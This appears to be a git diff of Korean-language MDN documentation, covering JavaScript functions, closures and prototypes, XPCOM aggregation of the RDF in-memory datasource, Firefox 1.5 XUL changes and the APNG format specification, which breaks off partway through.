apply()의 두번째 매개변수는 '매개변수들'로 사용하고자 하는 배열입니다. 첫번째 매개변수는 나중에 설명하도록 하겠습니다. 이는 함수가 역시 객체임을 명확히 해주는 사실입니다.

+ +
+

함수 호출시 전개 연산자(spread operator) 를 이용하여 똑같은 결과를 얻을수 있습니다.

+ +

예를 들면: avg(...numbers)

+
+ +

JavaScript는 익명의 함수를 만들 수 있도록 허용하고 있습니다.

+ +
var avg = function() {
+    var sum = 0;
+    for (var i = 0, j = arguments.length; i < j; i++) {
+        sum += arguments[i];
+    }
+    return sum / arguments.length;
+}
+
+ +

이것은 의미적으로 function avg() 형식과 같습니다. 이 특징은 매우 강력한데, 일반적인 표현식(expression)을 사용할 수있는 어디에서나 완전한 함수 정의를 넣을 수 있도록 허용하는 것이기 때문입니다. 이 특징은 다양한 요령을 부릴 수 있게합니다. 다음 예는 C에서 블록 유효 범위를 적용 시킨 것 처럼 지역 변수를 "숨기는" 요령을 보여줍니다:

+ +
var a = 1;
+var b = 2;
+
+(function() {
+    var b = 3;
+    a += b;
+})();
+
+a; // 4
+b; // 2
+
+ +

JavaScript는 재귀적으로 함수를 부를 수 있습니다. 이는 브라우저 DOM 등에서 볼수 있는 트리 구조를 다루는데 유용합니다.

+ +
function countChars(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += countChars(child);
+  }
+  return count;
+}
+
+ +

다음의 예는 익명 함수를 사용함에 있어 잠재적인 문제점을 보여줍니다: 이름이 없으면 어떻게 재귀적으로 부를 수 있을까요? JavaScript는 함수 표현식을 이렇게 이름붙이도록 지원합니다. 이름붙은 IIFEs (Immediately Invoked Function Expressions: 즉시 실행 함수 표현) 를 다음과 같이 사용할 수 있습니다:

+ +
var charsInBody = (function counter(elm) {
+  if (elm.nodeType == 3) { // TEXT_NODE
+    return elm.nodeValue.length;
+  }
+  var count = 0;
+  for (var i = 0, child; child = elm.childNodes[i]; i++) {
+    count += counter(child);
+  }
+  return count;
+})(document.body);
+
+ +

위와 같이 함수 표현식에 제공된 이름은 함수 자체 범위에서만 유효합니다. 이 특징은 엔진에 의한 최적화뿐만 아니라 코드 가독성을 높이는데 도움을 줍니다. 이 이름은 디버거와 스택 추적에서도 나타나므로 디버깅시간을 줄일수 있게합니다.

+ +

JavaScript 함수는 - JavsScript 내의 다른 모든 것들과 마찬가지로 -  그 자체가 객체이며, 객체 섹션에서 이미 확인한 것처럼, 속성을 추가하거나 변경할수 있다는 점을 명심하십시오

+ +

사용자 정의 객체

+ +
+

JavaScript에서 객체 지향 프로그래밍에 대한 더 자세한 논의는 객체 지향 JavaScript 소개를 참조하십시오.

+
+ +

고전 객체지향 프로그래밍에서 객체는 데이터와 해당 데이터들을 다루는 메소드의 집합이었습니다. JavaScript는 프로토타입 기반 언어로, C++ 이나 Java에서 발견할 수 있는 class 구문이 없습니다(이런 이유로 class 구문에 익숙한 프로그래머들이 때때로 혼란을 경험합니다). 그 대신, JavaScrip는 function을 class로 사용합니다. 이름과 성을 필드로 가지고 있는 'person' 객체를 고려해보도록 합시다. 이름을 표시하는 두가지 방법이 있을 수 있습니다. 예를 들어, "이름 성" 또는 "성, 이름" 이런 식으로 말이죠. 이전에 다룬 함수와 객체를 사용해서 이를 표현하면 다음과 같습니다:

+ +
function makePerson(first, last) {
+  return {
+    first: first,
+    last: last
+  }
+}
+function personFullName(person) {
+  return person.first + ' ' + person.last;
+}
+function personFullNameReversed(person) {
+  return person.last + ', ' + person.first
+}
+
+var s = makePerson("Simon", "Willison");
+personFullName(s); // "Simon Willison"
+personFullNameReversed(s); // "Willison, Simon"
+
+ +

이렇게 하면 작동하긴 하지만, 보기 안좋습니다. 이런 방법이라면 전역 이름공간(global namespace)에 관련 함수가 너무 많아집니다. 정말 우리에게 필요한 것은 객체에 함수를 붙여놓는 것입니다. 함수는 객체이기 때문에 이건 별로 어렵지 않습니다.

+ +
function makePerson(first, last) {
+  return {
+    first: first,
+    last: last,
+    fullName: function() {
+      return this.first + ' ' + this.last;
+    },
+    fullNameReversed: function() {
+      return this.last + ', ' + this.first;
+    }
+  };
+}
+
+var s = makePerson('Simon', 'Willison');
+s.fullName(); // "Simon Willison"
+s.fullNameReversed(); // "Willison, Simon"
+
+ +

this 키워드에 주목해 주십시오. 함수 안쪽에서 사용되면서, this는 현재 객체를 참조합니다. 그것이 실제로 의미하는 바는 당신이 부른 바로 그 함수를 지정하는 것입니다. 객체에서 dot 표기법이나 bracket 표기법을 사용해서 부른 경우, 해당 객체는 this가 됩니다. 해당 호출에서 dot 표기법을 사용하지 않은 경우, this는 전역 객체를 참조하게 됩니다.

+ +

this가 실수의 잦은 원인이 된다는 것을 명심하십시오 . 예를 들면:

+ +
var s = makePerson('Simon', 'Willison');
+var fullName = s.fullName;
+fullName(); // undefined undefined
+
+ +

s.fullName()을 이용하지 않고 fullName()을 단독으로 호출하면, 'this'는 전역 객체로 묶이게(bind) 됩니다. first 또는 last 로 명명된 전역 변수가 없기 때문에, 각각에 대해 undefined 결과를 얻게됩니다.

+ +

makePerson 함수를 개선하는데 'this' 키워드의 이점을 취할 수 있습니다:

+ +
function Person(first, last) {
+  this.first = first;
+  this.last = last;
+  this.fullName = function() {
+    return this.first + ' ' + this.last;
+  };
+  this.fullNameReversed = function() {
+    return this.last + ', ' + this.first;
+  };
+}
+var s = new Person('Simon', 'Willison');
+
+ +

여기서 new라는 또다른 키워드를 도입했습니다. newthis와 깊게 연관되어 있습니다. 새로운 빈 객체를 만든 다음 지정된 함수를 불러 새로운 객체를 this 에 설정합니다. this로 지정된 함수는 값을 반환하지 않고 단지 this 객체를 수정한다는 것을 명심하세요. this 객체를 호출하는 곳으로 반환하는 것은  new 입니다. 'new' 에 의해 호출되도록 설계된 함수는 컨스트럭터 함수라고 불립니다. 일반적으로 이러한 함수의 첫자를 대문자로 써서 new로 불릴 컨스트럭터 함수임을 나타냅니다.

+ +

개선된 함수는 여전히 fullName() 을 단독으로 호출할 때의 함정이 존재합니다.

+ +

우리의 person 객체가 점점 개선되고 있지만, 아직 좀 보기 안좋은 면이 있습니다. 매번 person 계열의 객체를 만들 때마다 내부에서 2개의 새로운 함수 객체를 만들고 있습니다. 이 코드가 객체간에 공유된다면 더 낫지 않을까요?

+ +
function personFullName() {
+  return this.first + ' ' + this.last;
+}
+function personFullNameReversed() {
+  return this.last + ', ' + this.first;
+}
+function Person(first, last) {
+  this.first = first;
+  this.last = last;
+  this.fullName = personFullName;
+  this.fullNameReversed = personFullNameReversed;
+}
+
+ +

더 좋아 보이네요: 메소드 함수를 한번만 만들고, 컨스트럭터 내에 해당 메소드들을 참조하도록 할당합니다. 이보다 더 개선 할 수 있을까요? 네, 그렇게 할 수 있습니다:

+ +
function Person(first, last) {
+  this.first = first;
+  this.last = last;
+}
+Person.prototype.fullName = function() {
+  return this.first + ' ' + this.last;
+};
+Person.prototype.fullNameReversed = function() {
+  return this.last + ', ' + this.first;
+};
+
+ +

Person.prototype은 모든 Person 인스턴스들간에 공유되는 객체입니다. 이는 lookup(찾아보기) 체인의 한 부분을 이룹니다. (이건 "prototype chain"이라는 특수한 이름을 따로 가지고 있습니다) 다시 말해, Person 객체의 설정되지 않은 속성에 접근을 시도할 때마다, 그것의 대체용도로 JavaScript는 Person.prototype에 그 속성이 존재하는지 살펴봅니다.그 결과,  Person.prototype에 할당된 모든 것은 this 객체를 통해 해당 컨스트럭터에 속한 모든 인스턴스들간에 사용 가능하게 됩니다.

+ +

이것은 정말 강력한 도구입니다. JavaScript에서는 임의의 prototype을 프로그램 내에서 언제든 변형할 수 있습니다. 이미 존재하는 객체에 추가적인 메소드를 실시간으로 추가가할 수 있다는 이야기입니다:

+ +
var s = new Person("Simon", "Willison");
+s.firstNameCaps(); //TypeError on line 1: s.firstNameCaps is not a function
+
+Person.prototype.firstNameCaps = function() {
+    return this.first.toUpperCase()
+};
+s.firstNameCaps(); // "SIMON"
+
+ +

흥미롭게도, JavaScript의 빌트인 객체의 prototype에도 뭔가를 더 추가할 수 있습니다. String 객체에 문자열 순서를 거꾸로 배열하여 돌려주는 메소드를 추가해 봅시다.

+ +
var s = "Simon";
+s.reversed(); // TypeError on line 1: s.reversed is not a function
+
+String.prototype.reversed = function() {
+    var r = "";
+    for (var i = this.length - 1; i >= 0; i--) {
+        r += this[i];
+    }
+    return r;
+};
+
+s.reversed(); // nomiS
+
+ +

우리가 추가한 새로운 메소드는 심지어 문자열 상수에서도 동작합니다!

+ +
"This can now be reversed".reversed(); // desrever eb won nac sihT
+
+ +

기존에 언급한 바와같이, prototype은 체인의 한 부분을 이룹니다. 해당 체인의 루트는 Object.prototype 이며 toString() 메소드를 포함합니다. 이 메소드는 객체를 문자열로 나타내려할 때 호출됩니다. 이 메소드는 우리의 Person 객체의 디버깅에 유용합니다:

+ +
var s = new Person("Simon", "Willison");
+s.toString(); // [object Object]
+
+Person.prototype.toString = function() {
+  return '<Person: ' + this.fullName() + '>';
+}
+
+s.toString(); // "<Person: Simon Willison>"
+
+ +

avg.apply()의 첫번째 매개변수가 null 이었던걸 기억해봅시다. apply()에 적용되는 첫번째 인자는 당연히 `this'로 간주되는 객체입니다. 여기에 new 의 간단한 구현을 보시죠:

+ +
function trivialNew(constructor, ...args) {
+    var o = {}; // 빈 객체를 생성
+    constructor.apply(o, args);
+    return o;
+}
+
+ +

이것은 prototype 체인을 설정하지 않으므로 new의 완벽한 대체물이 될 수 없습니다.(이 부분은 설명하기 어렵습니다). 이 내용은 자주 사용하지는 않겠지만 알아두면 좋습니다. 이 부분에서 ...args (생략 부호를 포함해서)는 "rest arguments" 라고 불립니다. 이름이 암시하는 것처럼 매개변수의 나머지를 포함합니다.

+ +

그러므로 이렇게 호출하는 것은

+ +
var bill = trivialNew(Person, 'William', 'Orange');
+ +

아래와 거의 동일합니다.

+ +
var bill = new Person('William', 'Orange');
+ +

apply() 와 비슷하게 this를 다시 설정할 수 있게 하는, call이라는 이름의 자매 함수가 있는데, 인자로 단일 배열이 아니라 확장된 인자 목록을 입력받습니다.

+ +
function lastNameCaps() {
+  return this.last.toUpperCase();
+}
+var s = new Person('Simon', 'Willison');
+lastNameCaps.call(s);
+// 위의 구문은 다음과 같습니다:
+s.lastNameCaps = lastNameCaps;
+s.lastNameCaps();
+
+ +

내장 함수 (Inner functions)

+ +

다른 함수의 내부에서 JavaScript 함수를 선언할 수 있습니다. 우리는 makePerson() 함수 초기 버전에서 이것을 한번 본적이 있습니다. JavaScript에서 중첩 함수(nested functions)의 중요한 세부사항은 부모 함수 범위의 변수에 접근할 수 있다는 사실입니다:

+ +
function parentFunc() {
+    var a = 1;
+
+    function nestedFunc() {
+        var b = 4; // parentFunc은 사용할 수 없는 변수
+        return a + b;
+    }
+    return nestedFunc();  // 5
+}
+
+ +

좀 더 유지관리가 쉬운 코드를 작성하고자 할때 이 특성이 굉장히 유용합니다. 한개 혹은 두개의 정도의 함수에서만 호출되며 전체 코드중 다른 부분에서는 사용처가 없는 함수라면 그 함수내에 해당 함수를 중첩시키는 것이 좋습니다. 이렇게 전역 범위 함수의 갯수를 늘리지 않도록 하는 것은 언제나 좋은 습관입니다.

+ +

이것은 또한 전역 변수에 대한 유혹을 뿌리칠 수 있는 좋은 대안이 됩니다. 복잡한 코드를 쓸 때, 다양한 함수들간에 값을 공유할 수 있도록 전역 변수를 사용하고 싶어집니다 - 전역 변수는 코드 유지 보수를 어렵게 만듭니다. 중첩 함수는 그 부모 함수의 범위에서 변수를 공유할 수 있으므로, 이 방법을 사용하면 전역 변수 이름공간을 건드리지 않고도 적절한 경우에 함수들을 연동시킬수 있습니다. - '지역 전역'이라고 불러도 괜찮겠네요. 이 기술을 사용할 때는 주의를 요하겠지만, 반드시 알아둬야할 유용한 기술입니다.

+ +

클로져 (Closures)

+ +

클로져 (역자주: 글자 그대로 한국어로 해석하면 닫힌 주머니)는 JavaScript가 제공해야만 하는 가장 막강한 추상 개념으로 우리를 이끕니다 - 하지만 동시에 잠재적으로 가장 혼란스럽기도 합니다. 다음 함수는 무엇을 하는 걸까요?

+ +
function makeAdder(a) {
+  return function(b) {
+    return a + b;
+  };
+}
+var add5 = makeAdder(5);
+var add20 = makeAdder(20);
+add5(6); // ?
+add20(7); // ?
+
+ +

makeAdder 함수의 이름은 다음과 같은 과정을 거쳐 반드시 없어집니다: 해당 함수가 한 매개변수를 받아 호출됐을 때, 생성될 때 주어진 매개변수를 더하는 새 'adder' 함수를 생성합니다.

+ +

여기서 일어나는 일은 다른 함수의 내에 정의된 어떤 함수가 외부 함수의 변수에 액세스한다는 점에서 앞에 언급한 내장 함수에서 일어나는 일과 매우 비슷합니다. 한가지 다른 점은 외부 함수가 리턴 된다는 점인데, 상식적으로 그것에 들어 있는 변수는 사라진다고 볼 수 있습니다. 하지만 그들은 여전히존재합니다 - 그렇지 않으면 adder 함수는 동작하지 않겠지요. 게다가, makeAdder 지역 변수의 서로 다른 두 "복사본"이 존재합니다 - 하나의 a는 5이고, 다른 하나의 a는 20이죠. 따라서 해당 함수를 부른 결과는 다음과 같습니다:

+ +
x(6) // 11을 돌려줌
+y(7) // 27을 돌려줌
+
+ +

이건 실제로 일어나는 일입니다. JavaScript 함수가 실행될 때는 언제나, '범위' 객체가 생성되어 해당 함수내에서 생성된 지역 변수를 여기에 저장하고 있습니다. 함수 매개변수로서 넘겨진 어떤 변수라도 여기에 초기값으로 저장하고 있습니다. 이것은 모든 전역 변수와 함수가 들어있는 전역 객체와 비슷하지만, 두가지 중요한 차이점이 있습니다. 첫번째로, 함수가 실행될 때마다 새로운 범위 객체가 생성된다는 점과, 두번째로, (브라우저에서 window로 접근가능한) 전역 객체와 달리 범위 객체는 JavaScript 코드에서 직접적으로 액세스할 수 없다는 점입니다. 예를 들자면 현재 범위 객체의 속성에 반복 접근할 수 있는 수단이 없습니다.

+ +

따라서 makeAdder 가 호출되면, 범위 객체는 makeAdder 함수에 매개변수로 넘겨진 하나의 속성 a를 가진 상태로 생성됩니다. 일반적으로 JavaScript의 가비지 컬렉터가 이때 makeAdder에 의해 생성된 범위 객체를 청소해야겠지만, 리턴된 함수가 여전히 범위 객체를 참조하고 있습니다. 결과적으로 범위 객체는 makeAdder에 의해 리턴된 함수 객체가 더는 참조되지 않을 때까지 가비지 컬렉터에 의해 정리되지 않게됩니다.

+ +

범위 객체는 JavaScript 객체 체계에서 사용되는 prototype 사슬과 비슷한 범위 사슬이라고 불리는 사슬을 형성합니다.

+ +

클로져는 함수와 함수에 의해 생성되는 범위 객체를 함께 지칭하는 용어입니다.

+ +

또한 클로져는 상태를 저장할 수 있도록 허용합니다 - 그렇기 때문에, 객체의 내부에서 자주 사용될 수 있는 것입니다.

+ +

메모리 누출

+ +

클로져의 부작용은 Internet Explorer에서 심각하지는 않지만 쉽게 메모리 누출이 된다는 것입니다. JavaScript는 가비지 컬렉트를 하는 언어 입니다. 객체가 생성됨에 따라서 메모리가 할당되고, 사용하고난 메모리는 더 참조하는 다른 객체가 없을 때 되돌아가는 방식으로 동작하는 언어란 말이죠. 호스트 환경에서 제공되는 객체들은 해당 환경에 의해 다뤄집니다.

+ +

브라우저 호스트는 HTML 페이지에 DOM 객체로서 표현되어있는 많은 수의 객체를 다뤄야 합니다. 이 객체들을 어떻게 할당하고 다시 거둬들일지는 브라우저 책임이죠.

+ +

Internet Explorer는 이를 위해 자신만의 고유한, JavaScript의 그것과는 다른 가비지 컬렉션 방식을 사용합니다. 두 언어간에 상호작용이 일어날 수 있고 이 과정에서 메모리 누출이 발생할 수 있습니다.

+ +

IE에서 메모리 누출은 JavaScript 객체와 고유 객체간에 참조하는 중 자기 자신을 참조 (circular reference, 순환 참조)하게 되는 일이 발생할 경우라면 언제든지 발생하게 됩니다. 다음을 고려해 보도록 합시다:

+ +
function leakMemory() {
+    var el = document.getElementById('el');
+    var o = { 'el': el };
+    el.o = o;
+}
+
+ +

위의 코드는 순환 참조로서 메모리 누출을 일으킵니다. IE는 완전히 다시 시작되기 전까지는 elo에 의해 사용되는 메모리를 반환하지 못합니다.

+ +

위의 경우는 알아채지 못하고 지나갈 확률이 높습니다. 메모리 누출은 사실 오랫동안 실행되거나 큰 데이터 구조나 반복, 순환에 의해 누출된는 메모리 양이 많은 경우에서 실질적으로 고려할만한 가치가 생깁니다.

+ +

누출이 이처럼 명확한 경우는 드뭅니다. 누출을 일으키는 데이터 구조는 수차례에 걸친 참조 구조를 가지고 있어서 순환 참조를 하고있는지 명확하지 않은 경우가 더 많습니다.

+ +

클로져는 그렇게 되도록 하지않아도 간단하게 메모리 누출을 일으킬 수 있습니다. 다음을 고려해 봅시다:

+ +
function addHandler() {
+    var el = document.getElementById('el');
+    el.onclick = function() {
+        this.style.backgroundColor = 'red';
+    }
+}
+
+ +

위의 코드는 클릭했을때 배경색이 빨강으로 바뀌는 엘레멘트를 설정합니다. 그리고 메모리 누출도 일으킵니다. 어째서냐고요? el을 참조하면 의도와는 달리 익명 내부 함수 때문에 생성된 클로져 내에 붙잡혀 있게 되기 때문입니다. 이는 JavaScript 객체 (내부 함수)와 원시 객체 (el)간에 순환 참조를 만듭니다.

+ +

이 문제를 피할 수 있는 많은 방법이 있습니다. 가장 간단한 건 이겁니다:

+ +
function addHandler() {
+    var el = document.getElementById('el');
+    el.onclick = function() {
+        this.style.backgroundColor = 'red';
+    }
+    el = null;
+}
+
+ +

이렇게 하면 순환 참조 고리를 끊을 수 있습니다.

+ +

놀랍게도, 클로져에 의해 발생된 순환 참조를 고리를 끊기 위한 한 요령은 또다른 클로져를 추가하는 것입니다:

+ +
function addHandler() {
+    var clickHandler = function() {
+        this.style.backgroundColor = 'red';
+    }
+    (function() {
+        var el = document.getElementById('el');
+        el.onclick = clickHandler;
+    })();
+}
+
+ +

내부 함수는 실행되고 바로 사라지므로서, clickHandler와 함께 생성된 클로져로부터 그 내용을 숨깁니다.

+ +

클로져를 피할 수 있는 또다른 좋은 요령은 window.onunload 이벤트가 발생하는 동안 순환 참조를 끊는 것입니다. 많은 이벤트 라이브러리가 이렇게 동작합니다. 주의할 것은 그렇게 하도록하면 Firefox 1.5의 bfcache를 비활성화 하게 되므로, 별 다른 이유가 없다면 Firefox에서 unload listener를 등록해서는 안 된다는 것입니다.

+ +
+

원본 문서 정보

+ + +
+ +
+ +

{{ languages( { "en": "en/A_re-introduction_to_JavaScript", "fr": "fr/Une_reintroduction_a_JavaScript", "it": "it/Una_re-introduzione_a_Javascript", "ja": "ja/A_re-introduction_to_JavaScript", "pl": "pl/JavaScript/Na_pocz?tek", "zh-cn": "cn/A_re-introduction_to_JavaScript" } ) }}

diff --git a/files/ko/adapting_xul_applications_for_firefox_1.5/index.html b/files/ko/adapting_xul_applications_for_firefox_1.5/index.html new file mode 100644 index 0000000000..363b27b75e --- /dev/null +++ b/files/ko/adapting_xul_applications_for_firefox_1.5/index.html @@ -0,0 +1,26 @@ +--- +title: Adapting XUL Applications for Firefox 1.5 +slug: Adapting_XUL_Applications_for_Firefox_1.5 +tags: + - Add-ons + - Extensions + - XUL +translation_of: Mozilla/Firefox/Releases/1.5/Adapting_XUL_Applications_for_Firefox_1.5 +--- +

이 페이지는 XUL 개발자에 영향을 미치는 Firefox 1.5에서 바뀐 점 목록을 포함합니다.

+

특정 바뀐 점

+ +

다른 정보

+ diff --git a/files/ko/aggregating_the_in-memory_datasource/index.html b/files/ko/aggregating_the_in-memory_datasource/index.html new file mode 100644 index 0000000000..e41fe09c38 --- /dev/null +++ b/files/ko/aggregating_the_in-memory_datasource/index.html @@ -0,0 +1,125 @@ +--- +title: Aggregating the In-Memory Datasource +slug: Aggregating_the_In-Memory_Datasource +tags: + - RDF +translation_of: Mozilla/Tech/XPCOM/Aggregating_the_In-Memory_Datasource +--- +

개요

+

당신은 메모리 상의 (in-memory) 데이터 소스에 XPCOM 모음(aggregation)1을 사용할 수 있습니다. +왜 이것이 필요할까요? +만약 당신이 데이터 소스2를 작성했다고 하면, 이를 구현하기 위한 한가지 방법은 메모리 상의 데이터 소스를 래핑(wrapping) 하는 것 입니다. 즉, +

+
MyClass : public nsIMyInterface, public nsIRDFDataSource {
+private:
+    nsCOMPtr<nsIRDFDataSource> mInner;
+
+public:
+    // nsIRDFDataSource methods
+    NS_IMETHOD Init(const char* aURI) {
+        return mInner->Init(aURI);
+    }
+
+    NS_IMETHOD GetURI(char* *aURI) {
+        return mInner->GetURI(aURI);
+    }
+
+    // etc., for each method in nsIRDFDataSource!
+};
+
+

이것은 매우 힘들고, 에러를 발생시키기 쉬우며 인터페이스들이 (조금이라도) 변경된다면 역시 변경될 것입니다. +이 경우 모음(aggregation)이 해결책이 될 수 있습니다! 다음은 이에 대한 자세한 사항들(gory details)입니다. +

+

언제 동작하지 않을까?

+

비록 이 기법(magic)을 사용하는 것은 매우 편리하지만, +메모리 상의 데이터 소스의 메소드를 "오버라이드"(override)하고 싶은 경우에는 동작하지 않을 것 입니다. +예를 들어, 필자는 +북마크 데이터 소스를 +작성하고 있는 동안, Assert() 메소드가 오직 "북마크에 관련된" 어서션(assertion)만을 +허용(accept)하도록 만들고 싶었습니다. +만약 단지 메모리 상의 데이터 소스에 위임하도록 했었다면, +Assert() 메소드는 오래된 임의의 쓰레기 값들을 허용했을 것입니다. +마찬가지로, Flush() 메소드를 오버라이드하여 bookmarks.html 파일을 다시 디스크에 기록하도록 할 수 있었습니다. +

다시 말해서, "읽기 전용 리플렉션"을 얻기 위해 데이터 소스를 구현할 때에만 +이 기법이 유용하게 사용될 수 있습니다. +즉, 어떤 정보의 내용을 RDF 그래프로 반영(reflect)하고 싶은 경우를 말합니다. +(아마도 RDF 그래프는 다른 정보들과 통합될 수 있으며 스타일을 적용하여 디스플레이될 수 있을 것입니다) +

+

기술적인 세부 사항

+

앞의 코드처럼 nsCOMPtr를 위임자를 사용하겠지만, +이번의 경우는 nsIRDFDataSource 객체를 이용하지 않을 것입니다. +nsCOMPtr<nsIRDFDataSource> 를 사용하는 대신 +nsCOMPtr<nsISupports> 를 사용하길 원하게 될 것입니다. +

+
class MyClass : public nsIMyInterface {
+    ...
+private:
+    nsCOMPtr<nsISupports> mInner;
+};
+
+

객체가 생성될 때 (혹은, 최악의 경우, 누군가 QI(?)를 한 경우에) 데이터 소스 위임자를 구성합니다. +

+
rv = nsComponentManager::CreateInstance(
+        kRDFInMemoryDataSourceCID,
+        this, /* the "outer" */
+        nsCOMTypeInfo<nsISupports>::GetIID(),
+        getter_AddRefs(mInner));
+
+

this를 "outer" 인수로 넘긴 것을 주의하십시오. +이제, 메모리 상의 데이터 소스의 QueryInterface() 메소드의 구현이 실패한다면 +그것은 요청한 인터페이스를 구현하지 않았기 때문일 것입니다. +이 경우 QueryInterface() 는 "outer"(우리가 구현한 객체)에게 전달될 것입니다. +이것은 QueryInterface() 의 대칭적 특성을 보존합니다. +

대칭성을 만족하기 위해, 우리의 QueryInterface() 구현은 +nsIRDFDataSource를 위임자에서 전달할 필요가 있습니다.3 +

+
NS_IMETHODIMP
+MyClass::QueryInterface(REFNSIID aIID, void** aResult)
+{
+  NS_PRECONDITION(aResult != nsnull, "null ptr");
+  if (! aResult)
+    return NS_ERROR_NULL_POINTER;
+
+  if (aIID.Equals(nsCOMTypeInfo<nsIMyInterface>::GetIID()) ||
+      aIID.Equals(nsCOMTypeInfo<nsISupports>::GetIID())) {
+    *aResult = NS_STATIC_CAST(nsIGlobalHistory*, this);
+  }
+  else if (aIID.Equals(nsCOMTypeInfo<nsIRDFDataSource>::GetIID())) {
+    return mInner->QueryInterface(aIID, aResult);
+  }
+  else {
+    *aResult = nsnull;
+    return NS_NOINTERFACE;
+  }
+
+  NS_ADDREF(NS_STATIC_CAST(nsISupports*, aResult));
+  return NS_OK;
+}
+
+

여기서 주의해야 할 사항은 당신의 객체 내의 데이터 소스를 통해 무언가를 하기 전에 +nsISupports에서 nsIRDFDataSource로 +QueryInterface()를 수행해야 한다는 것입니다. +예를 들면: +

+
NS_IMETHODIMP
+MyClass::DoSomething()
+{
+  nsCOMPtr<nsIRDFDataSopurce> ds = do_QueryInterface(mInner);
+
+  rv = ds->Assert(/* 필요한 작업을 수행합니다 */);
+
+  // etc...
+
+  return NS_OK;
+}
+
+

nsIRDFDataSource의 모음에 대한 포인터를 멤버 변수로 가지고 싶어할 수 있을 것입니다. +하지만 이것은 불가능합니다. 만약 그렇게 한다면 끝나지 않는 순환 참조가 발생할 것입니다. +

+

+
  1. 모든 종류의 XPCOM 모음(aggregation)에 대해서 설명하는 것은 이 문서의 범위를 넘어갑니다. QueryInterface() 메소드를 오버로드하는 기본적인 아이디어는, 인터페이스를 지원하는 위임자(delegate) 객체를 반환하도록 하는 것입니다. 위임자의 참조 카운트를 안전하게 관리하고, QueryInterface()의 반사적(reflexive), 대칭적(symmetric), 추이적 (transitive) 특성을 만족시키기 위해 약간의 트릭이 사용됩니다. 이 부분에 대해 흥미를 느낀 사람이라면, COM 관련 서적의 해당 부분을 읽어보기 바랍니다. +
  2. 데이터 소스를 작성하기 위한 정보를 더 얻고 싶다면, RDF 데이터 소스 How-To 문서를 보기 바랍니다. +
  3. mInner 가 지원하는 것을 알고 있는 경우, 다른 인터페이스들도 mInner 에게 전달(forward)할 수 있습니다. 하지만 이는 매우 위험합니다. 왜냐하면 동일한 객체의 다른 구현에서는 이러한 인터페이스를 지원하지 않을 수 있기 때문입니다. 이 경우 QueryInterface()는 다시 당신의 객체?로 넘어오게 되며, 이는 무한히 반복될 것입니다. +
+

Interwiki Language Links +

diff --git a/files/ko/animated_png_graphics/index.html b/files/ko/animated_png_graphics/index.html new file mode 100644 index 0000000000..9321c189d4 --- /dev/null +++ b/files/ko/animated_png_graphics/index.html @@ -0,0 +1,430 @@ +--- +title: Animated PNG graphics +slug: Animated_PNG_graphics +tags: + - Firefox 3 +translation_of: Mozilla/Tech/APNG +--- +

+

작성자

+

APNG 명세의 작성자는 다음과 같습니다:

+ +

 

+

개요

+

APNG는 움직이는 이미지에 대한 지원을 추가한 이식가능한 네트워크 그래픽 (PNG) 포맷의 확장입니다. 이는 전통적으로 GIF 포맷을 사용했던 간단한 움직이는 이미지를 대체하기 위한 것이며 24비트 이미지와 8비트 투명도 지원을 추가하고 있습니다. APNG는 MNG에 대한 보다 간단한 대안으로서 인터넷 상에서 움직이는 이미지의 가장 일반적인 사용에 적합한 명세를 제공하고 있습니다.

+

APNG는 PNG와 후위 호환이 가능(backwards-compatible)합니다. 즉, 모든 PNG 디코더는 APNG 특정 청크를 무시하고 단일 이미지를 표시할 수 있어야 합니다.

+

용어

+

기본 이미지(default image)는 표준 'IDAT' 청크가 기술하는 이미지로서 APNG를 지원하지 않는 디코더가 표시하는 이미지입니다.

+

캔버스(canvas)는 프레임이 표시되는 출력 장치의 영역입니다. 디코더가 꼭 출력 버퍼의 내용을 이용할 수 있는 것은 아닙니다. PNG 명세에 따르면 선택할 만한 바탕이 없는 경우 'bKGD' 청크가 존재하면 이를 캔버스를 채우는데 사용하게 됩니다.

+

출력 버퍼(output buffer)는 PNG 'IHDR' 청크의 너비와 높이 매개 변수로 지정된 치수를 가진 픽셀 배열입니다. 개념적으로 각 프레임은 캔버스에서 조합되기 전에 출력 버퍼에서 구성됩니다. 디코더는 출력 버퍼의 내용을 이용할 수 있습니다. 출력 버퍼의 모퉁이는 캔버스의 모퉁이에 대응됩니다.

+

완전 투명 흑색(Fully transparent black)은 적색, 녹색, 청색, 투명 요소가 모두 0으로 설정된 것을 의미합니다.

+

청크를 기술할 때, unsigned int는 0부터 (2^31)-1 범위로 제한된 네트워크 바이트 순서를 따르는 32비트 부호없는 정수입니다. unsigned short는 0부터 (2^16)-1 범위의 네트워크 바이트 순서를 따르는 16비트 부호없는 정수입니다. byte는 0부터 (2^8)-1 범위의 8비트 부호없는 정수입니다.

+

오류 처리

+

APNG는 전체 이미지를 읽기 전에 점증적인 프레임 표시가 가능하도록 설계되었습니다. 그러므로 애니메이션이 일정 부분 진행될 때까지 오류가 발견되지 않을 수도 있습니다. 오류가 발생하는 경우, 디코더는 그 후의 모든 프레임을 버리고 애니메이션을 멈추고 기본 이미지를 표시하는 것으로 돌아가야 합니다. 디코더가 애니매이션을 시작하기 전에 오류를 발견하면 기본 이미지를 표시해야 합니다. 적합한 경우에는 오류 메시지를 사용자에게 표시할 수도 있습니다.

+

구조

+

APNG 스트림은 PNG 명세에 정의된 일반적인 PNG 스트림으로서 애니메이션을 기술하고 부가적인 프레임 자료를 제공하는 세 개의 추가 청크 형식을 포함합니다.

+

APNG로 인식되려면 'acTL' 청크가 'IDAT' 청크보다 먼저 스트림에 나타나야 합니다. 'acTL' 구조는 아래에서 설명하고 있습니다.

+

개념적으로 각 재연의 처음에 출력 버퍼는 'IHDR' 청크의 너비와 높이 치수를 따르는 완전 투명 흑색 직사각형으로 완전하게 초기화되어야 합니다.

+

'IDAT' 이전에 단일 'fcTL' 청크가 있으면 기본 이미지는 애니메이션의 첫 번째 프레임으로 포함됩니다. 그렇지 않으면, 기본 이미지는 애니메이션의 일부가 아닙니다.

+

그 후 프레임은 순서 번호가 앞에 나오는 것을 제외하면 'IDAT' 청크와 같은 구조를 가진 'fdAT' 청크에 인코드됩니다. 배치와 렌더링에 관한 각 프레임에 대한 정보는 'fcTL' 청크에 저장됩니다. 'fdAT'와 'fcTL' 청크의 전체 레이아웃은 아래에서 설명하고 있습니다.

+

전체 애니메이션의 경계는 기본 이미지가 애니메이션의 일부인지와 상관없이 PNG 'IHDR' 청크의 너비와 높이 매개 변수에 따라 지정됩니다. 나중 프레임에 추가 공간이 필요하면 기본 이미지에는 완전 투명 흑색 픽셀을 덧대야 합니다.

+

